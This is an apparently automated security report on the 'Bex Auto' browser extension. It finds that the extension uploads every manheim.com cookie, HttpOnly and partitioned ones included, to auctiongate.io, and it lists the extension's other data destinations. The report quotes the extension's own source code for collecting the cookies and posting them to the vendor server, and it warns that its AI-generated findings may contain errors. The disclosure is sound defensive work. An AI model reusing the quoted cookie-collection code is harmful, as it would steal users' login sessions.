Is Bex Auto safe?
Bex Auto uploads all manheim.com cookies to auctiongate.io and routes auction traffic through a vendor proxy.
The extension reads every manheim.com cookie, including HttpOnly and partitioned login cookies, and sends them to the vendor backend at auctiongate.io. It also sends Manheim traffic through a vendor-supplied proxy and logs Copart, IAAI and Manheim page visits and bids, along with your IP, location and browser details. It closes auction tabs and logs out when DevTools or certain other extensions are detected.
Who publishes itauctiongate.io - 9 other listings from the same operator, 6 of them carrying a finding
auctiongate.io - 9 other listings from the same operator, 6 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
9 other listings published from this account, 11k+ users between them. 6 of them carry a finding.
Shared hosts - 20 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Auctiongate extension sends every manheim.com cookie to auctiongate.io
Code analysis shows the extension reads all manheim.com cookies, including HttpOnly and partitioned ones, and posts them as JSON to auctiongate.io after a Manheim login is detected.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You sign in to Manheim and the site returns a populated user summary.
The extension listens for the mcom-header-footer.manheim.com user-summary request.
The extension reads all manheim.com cookies and posts them to auctiongate.io.
The upload runs only when the server-side copy is not yet marked valid, or when an update flag is set.
- All manheim.com cookies{"allCookies":[{"name":"<cookie name>","domain":".manheim.com","httpOnly":true,"value":"<redacted>"}]}
Every cookie for the domain, with name, value, HttpOnly and partition attributes, as one JSON string.
- Account identifierauction_account_id: <from local storage key manheimId>
The vendor's auction account ID stored locally by the extension.
- Browser profile fieldpingone_risk_browser_profile: "none"
A second profile field, fixed to a constant string.
Cookie collection and upload in the shipped source
Cookie collection (readable form)
js/background/manheim/manheimLoginControl.js:146-172async function saveValidAuthCookies({URI: e}) { const t = await chrome.cookies.getAll({ domain: "manheim.com" }); const a = await getManheimPartitionedCookies(); const o = [ ...t, ...a ]; const i = await sendManheimCookies({ allCookies: o, URI: e }); !i?.responseStatus || i.responseStatus >= 400 || await setLocalstorage({ isManheimServerAuthCookiesValid: true });}async function getManheimPartitionedCookies() { const e = await chrome.cookies.getAll({ domain: "manheim.com", partitionKey: {} }); return e.filter((e => { const t = e.partitionKey; if (t) { return true; } }));}Upload to the backend (readable form)
js/background/manheim/manheimLoginControl.js:174-191async function sendManheimCookies({allCookies: e, URI: t}) { const a = { auction_account_id: await getLocalstorage("manheimId"), pingone_risk_device_profile: JSON.stringify({ allCookies: e }), pingone_risk_browser_profile: "none" }; return await fetchRouteV3({ url: t.auctionAccount.manheimSaveRiskProfile, options: { method: "POST", body: a } });}async function getAuthFormData(e) {- manheim.com
Source of the cookies read by the extension.
- auctiongate.io
Receives the cookie JSON at /api/v3/auction-account/add-manheim-auth-hash.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Bex Auto contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ip-api.comwidely used
Bex Auto sends data to ip-api.com. A widely used service: 73 other extensions we have analysed send data here.
- json.geoiplookup.io
Bex Auto sends data to json.geoiplookup.io. 17 other extensions we have analysed send data here.
- auctiongate.io
Bex Auto sends data to auctiongate.io. 10 other extensions we have analysed send data here.
- extmetrics.auctiongate.io
Bex Auto sends data to extmetrics.auctiongate.io. One other extension we have analysed sends data here.